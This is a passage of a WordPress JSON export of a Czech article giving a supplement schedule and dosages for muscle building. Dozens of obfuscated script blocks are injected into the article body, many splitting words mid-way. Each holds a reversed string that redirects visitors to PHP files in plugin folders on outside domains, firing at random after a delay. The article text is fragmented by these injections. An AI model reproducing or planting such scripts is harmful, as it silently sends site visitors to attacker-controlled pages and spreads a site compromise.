prokazateln\u00fd vliv na urychlen\u00ed metabolismu a termogenezi. \u00da\u010dinky kofeinu potvrdila cel\u00e1 \u0159ada studi\u00ed. V\u00edme t\u00edm p\u00e1dem, \u017ee mimo jin\u00e9 zvy\u0161uje v\u00fdkonnost, podporuje koncentraci a oddaluje n\u00e1stup vy\u010derp\u00e1n\u00ed, nebo\u0165 stimuluje centr\u00e1ln\u00ed nervov\u00fd syst\u00e9m.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>D\u00e1vkov\u00e1n\u00ed: <\/strong><\/p>\n<p>Citrulline mal\u00e1t: 3-6 gram\u016f<\/p>\n<p>Agmatin: 500-1000 mg<\/p>\n<p>Betain: 2\u00a0500 mg<\/p>\n<p>Extrakt ze zelen\u00e9ho \u010daje: 500 mg<\/p>\n<p>K\u00e1va: 1 \u0161\u00e1lek nebo 200 mg kofeinu<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>B\u011aHEM TR\u00c9NINKU<\/strong><\/p>\n<p>Pokud jsou va\u0161e tr\u00e9ninky opravdu vysoce intenzivn\u00ed a chcete p\u0159edev\u0161\u00edm nab\u00edrat svalovou hmotu, pak d\u00e1v\u00e1 smysl pod\u00e1vat suplementy s\u00a0obsahem kl\u00ed\u010dov\u00fdch \u017eivin v\u00a0tekut\u011b form\u011b i b\u011bhem v\u00fdkonu. Vhodn\u00e9 jsou vysokomolekul\u00e1rn\u00ed sacharidy (stejn\u011b jako r\u00e1no) kombinovan\u00e9 s\u00a0BCAA, kter\u00e9 zajist\u00ed pracuj\u00edc\u00edm sval\u016fm dostatek energie. V\u00a0p\u0159\u00edpad\u011b BCAA je z\u00e1kladn\u00ed podm\u00ednkou spr\u00e1vn\u00fd pom\u011br jednotliv\u00fdch slo\u017eek, po<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom m\u016f\u017eete po\u010d\u00edtat s\u00a0udr\u017een\u00edm spr\u00e1vn\u00e9 dus\u00edkov\u00e9 rovnov\u00e1hy a zaji\u0161t\u011bn\u00edm pot\u0159ebn\u00e9 hladiny aminokyselin ve svalov\u00e9 tk\u00e1ni, nezbytn\u00e9 pro spr\u00e1vn\u00fd pr\u016fb\u011bh proteosynt\u00e9zy.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>D\u00e1vkov\u00e1n\u00ed:<\/strong><\/p>\n<p>Vysokomolekul\u00e1rn\u00ed sacharidy: 30 g<\/p>\n<p>BCAA: 6 g<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>PO TR\u00c9NINKU<\/strong><\/p>\n<p>Po dob\u0159e zvl\u00e1dnut\u00e9m tr\u00e9ninku jsou glykogenov\u00e9 z\u00e1soby ve svalech vypr\u00e1zdn\u011bn\u00e9, chyb\u00ed i d\u016fle\u017eit\u00e9 aminokyseliny a svaly pot\u0159ebuj\u00ed \u017eiviny op\u011bt doplnit, aby mohly n\u00e1le\u017eit\u011b zregenerovat. Pokra\u010dujte pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u00a0pod\u00e1v\u00e1n\u00ed rychle straviteln\u00fdch sacharid\u016f a BCAA, tzn. stejn\u00e9 sm\u011bsi jako b\u011bhem tr\u00e9ninku. Do potr\u00e9ninkov\u00e9ho n\u00e1poje je vhodn\u00e9 p\u0159idat tak\u00e9 kreatin a fenugreek. Kreatin napom\u00e1h\u00e1 dopln\u011bn\u00ed ATP a je pro pr\u00e1ci sval\u016f opravdu kl\u00ed\u010dovou l\u00e1tkou. D\u00edky n\u011bmu pak maj\u00ed svaly v\u00edce energie, mohou pracovat d\u00e9le a vynalo\u017eit v\u011bt\u0161\u00ed s\u00edlu. Jedna denn\u00ed d\u00e1vka (3 gramy) pom\u016f\u017ee hladinu kreatinu udr\u017eet v\u00a0pot\u0159ebn\u00fdch mez\u00edch. D\u00e1le m\u016f\u017eete p\u0159idat kyselinu alfa-lipoovou, kter\u00e1 napom\u00e1h\u00e1 transportu \u017eivin v\u00a0organismu a jejich vyu\u017eit\u00ed ve svalov\u00e9 tk\u00e1ni.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>D\u00e1vkov\u00e1n\u00ed:<\/strong><\/p>\n<p>Vysokomolekul\u00e1rn\u00ed sacharidy: 30 g<\/p>\n<p>BCAA: 6 g<\/p>\n<p>Kreatin hydrochlorid: 3 g<\/p>\n<p>ALA: 150 mg<\/p>\n<p>Fenugreek: dle d\u00e1vkov\u00e1n\u00ed na produktu<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>P\u0158ED SPAN\u00cdM<\/strong><\/p>\n<p>Po tr\u00e9ninku a strav\u011b je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to kvalitn\u00ed sp\u00e1nek, kter\u00fd pat\u0159\u00ed k\u00a0nezbytn\u00e9 v\u00fdbav\u011b ka\u017ed\u00e9ho spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce. P\u0159eru\u0161ovan\u00fd, nekvalitn\u00ed sp\u00e1nek naru\u0161uje p\u0159irozenou hladinu hormon\u016f, utrp\u00ed t\u00edm regenerace, zpomal\u00ed se spalov\u00e1n\u00ed tuk\u016f a nem\u016f\u017ee dostate\u010dn\u011b dob\u0159e prob\u00edhat metabolizace sacharid\u016f. B\u011bhem sp\u00e1nku se <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e t\u011blo regeneruje a p\u0159ipravuje na dal\u0161\u00ed v\u00fdkon. P\u0159ed span\u00edm tedy dopl\u0148te nejenom kvalitn\u00ed b\u00edlkoviny, ale tak\u00e9 \u017eiviny, kter\u00e9 v\u00e1m pomohou kvalitu sp\u00e1nku zv\u00fd\u0161it. V\u00a0tu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to dobu je nejlep\u0161\u00ed pou\u017e\u00edt kaseinov\u00fd protein \u2013 t\u011blo ho tr\u00e1v\u00ed a\u017e sedm hodin, tak\u017ee jsou sval\u016fm dod\u00e1v\u00e1ny b\u00edlkoviny postupn\u011b a dostate\u010dn\u011b dlouho, aby mohla prob\u00edhat proteosynt\u00e9za i b\u011bhem noci. Dop\u0159ejte si ve\u010der proteinov\u00fd n\u00e1poj s\u00a0d\u00e1vkou kaseinov\u00e9ho pr\u00e1\u0161ku a p\u0159idejte klidn\u011b l\u017e\u00edci bur\u00e1kov\u00e9ho m\u00e1sla, kter\u00e9 zpomal\u00ed tr\u00e1ven\u00ed.<\/p>\n<p>Krom\u011b proteinu se do sm\u011bsi p\u0159ed span\u00edm skv\u011ble hod\u00ed mela<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tonin, 5-HTP, GABA, L-theanin a ho\u0159\u010d\u00edk. 5-HTP neboli 5-hydroxytryp<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tofan podporuje p\u0159irozenou produkci sero<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toninu, kter\u00fd navozuje uvoln\u011bn\u00ed a sp\u00e1nek. Mela<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tonin je kl\u00ed\u010dov\u00fd hormon pro n\u00e1\u0161 cirkadi\u00e1nn\u00ed cyklus, i on zajist\u00ed kvalitn\u00ed a hlubok\u00fd sp\u00e1nek. GABA a L-theanin jsou oboje l\u00e1tky s\u00a0uvol\u0148uj\u00edc\u00edm \u00fa\u010dinkem. Ho\u0159\u010d\u00edk je na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom s\u00a0p\u016fsoben\u00edm podobn\u011b, zklidn\u00ed v\u00e1s psychicky a sou\u010dasn\u011b napom\u00e1h\u00e1 uvoln\u011bn\u00ed sval\u016f.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>D\u00e1vkov\u00e1n\u00ed: <\/strong><\/p>\n<p>Kaseinov\u00fd protein: 30 g<\/p>\n<p>Mela<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tonin: 3-5 mg<\/p>\n<p>5-HTP: 50-100 mg<\/p>\n<p>GABA: 1500-3000 mg<\/p>\n<p>Ho\u0159\u010d\u00edk: 250-500 mg<\/p>\n<p>L-theanin: 25-50 mg<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>U suplement\u016f rozhoduje nejenom, CO u\u017e\u00edv\u00e1te, ale taky KDY. &nbsp; Budov\u00e1n\u00ed sval\u016f nez\u00e1vis\u00ed jen na \u010dase, kter\u00fd str\u00e1v\u00edte ve fitku. Zcela z\u00e1sadn\u00ed roli hraje v\u00a0tomto procesu tak\u00e9 v\u00fd\u017eiva. Jej\u00ed kvalita rozhodne o tom, jestli se z\u00a0tlou\u0161t\u00edka \u010di hube\u0148oura stane svalovec. V\u00a0prvn\u00ed \u0159ad\u011b si tedy mus\u00edte upravit j\u00eddeln\u00ed\u010dek a v\u00a0dal\u0161\u00ed f\u00e1zi p\u0159ijde na \u0159adu spr\u00e1vn\u00e1 suplementace. Ta optimalizuje metabolick\u00e9 procesy a urychl\u00ed regeneraci. Nejste si jist\u00ed, jak\u00e9 suplementy pou\u017e\u00edt a kdy? Inspirujte se na\u0161\u00edm pr\u016fvodcem! &nbsp; VST\u00c1VAT A CVI\u010cIT! Pat\u0159\u00edte k\u00a0t\u011bm, kte\u0159\u00ed tr\u00e9nuj\u00ed rad\u011bji po r\u00e1nu? Pak ale mus\u00edte t\u011blu dodat dostatek \u017eivin, aby se po no\u010dn\u00edm hladov\u011bn\u00ed nastartovala proteosynt\u00e9za a doplnily cukry. T\u00edm p\u00e1dem pot\u0159ebujete rychle straviteln\u00e9 b\u00edlkoviny, kter\u00e9 se rychle dostanou do sval\u016f, a cukry na b\u00e1zi vysokomolekul\u00e1rn\u00edch sacharid\u016f (tzn. \u0161kroby), i ty jsou rychle straviteln\u00e9 a zajist\u00ed tolik pot\u0159ebn\u00fd transport energie p\u0159\u00edmo do sval\u016f.\u00a0 Svalov\u00e1 tk\u00e1\u0148 se toti\u017e po sp\u00e1nku nach\u00e1z\u00ed ve stadiu katabolismu. Ten byste vynech\u00e1n\u00edm sn\u00eddan\u011b jen podpo\u0159ili a hrozilo by odbour\u00e1v\u00e1n\u00ed svalov\u00e9 hmoty i n\u00e1sledn\u00e9 zpomalen\u00ed metabolismu. Ti z\u00a0v\u00e1s, kte\u0159\u00ed cht\u011bj\u00ed nav\u00edc spalovat tuky a pot\u0159ebuj\u00ed po r\u00e1nu trochu \u201enakopnout\u201c, by nem\u011bli zapomenout na \u0161\u00e1lek k\u00e1vy a p\u0159idat d\u00e1vku extraktu ze zelen\u00e9ho \u010daje. Zelen\u00fd \u010daj coby kvalitn\u00ed zdroj antioxidant\u016f zajist\u00ed organismu pot\u0159ebnou ochranu p\u0159ed voln\u00fdmi radik\u00e1ly a pom\u016f\u017ee dostat metabolismus do \u017e\u00e1douc\u00edch obr\u00e1tek \u2013 t\u00edm sp\u00ed\u0161, je-li kombinov\u00e1n s\u00a0kofeinem. Tahle siln\u00e1 dvojka si toti\u017e vz\u00e1jemn\u011b vypom\u00e1h\u00e1 jak p\u0159i spalov\u00e1n\u00ed tuk\u016f, tak v\u00a0roli efektivn\u00edch energiz\u00e9r\u016f. &nbsp; D\u00e1vkov\u00e1n\u00ed: Extrakt ze zelen\u00e9ho \u010daje: 500 mg (ide\u00e1ln\u011b s\u00a050 % standardizovan\u00e9ho obsahu EGCG) K\u00e1va: 1 \u0161\u00e1lek (100 mg kofeinu) Syrov\u00e1tkov\u00fd protein: 30 g Vysokomolekul\u00e1rn\u00ed sacharidy: 30 g &nbsp; &nbsp; V\u00a0\u010cASE SN\u00cdDAN\u011a I vydatnou sn\u00eddani je vhodn\u00e9 doplnit suplementy. Tentokr\u00e1t p\u0159ijde ke slovu multivitamin a ide\u00e1ln\u011b n\u011bjak\u00e1 ta sm\u011bs superpotravin zn\u00e1m\u00e1 pod n\u00e1zvem \u201eGreens\u201c. Ani sebekvalitn\u011bj\u0161\u00ed strava toti\u017e nedod\u00e1 t\u011blu podroben\u00e9mu skute\u010dn\u011b n\u00e1ro\u010dn\u00e9mu tr\u00e9ninku v\u0161echny \u017eiviny dostate\u010dn\u011b rychle. Pot\u0159ebujete tzv. mikronutrienty (vitaminy atd.), aby zajistily spr\u00e1vn\u00fd pr\u016fb\u011bh tr\u00e1vic\u00edch proces\u016f a co nejlep\u0161\u00ed vst\u0159eb\u00e1v\u00e1n\u00ed \u017eivin. Greens jsou skv\u011bl\u00fdm zdrojem fytonutrient\u016f, antioxidant\u016f a enzym\u016f, d\u00edky nim\u017e si t\u011blo zajist\u00ed pot\u0159ebn\u00e9 antioxida\u010dn\u00ed schopnosti, silnou imunitu a kvalitn\u00ed regeneraci. Kdy\u017e p\u0159id\u00e1te nav\u00edc kvalitn\u00ed oleje (ryb\u00ed, konopn\u00fd atp.), z\u00edsk\u00e1te zdroj omega-3 mastn\u00fdch kyselin a t\u00edm p\u00e1dem pot\u0159ebnou hormon\u00e1ln\u00ed rovnov\u00e1hu plus zaji\u0161t\u011bn\u00ed dostate\u010dn\u00e9 produkce testosteronu. &nbsp; D\u00e1vkov\u00e1n\u00ed: Greens: 1 odm\u011brka Multivitamin: 1 d\u00e1vka Ryb\u00ed olej: 2-3 gramy nebo Konopn\u00fd olej: 1 pol\u00e9vkov\u00e1 l\u017e\u00edce &nbsp; &nbsp; ENERGIE V\u00a0DOB\u011a OB\u011aDA Asi p\u016fl hodiny p\u0159ed j\u00eddlem 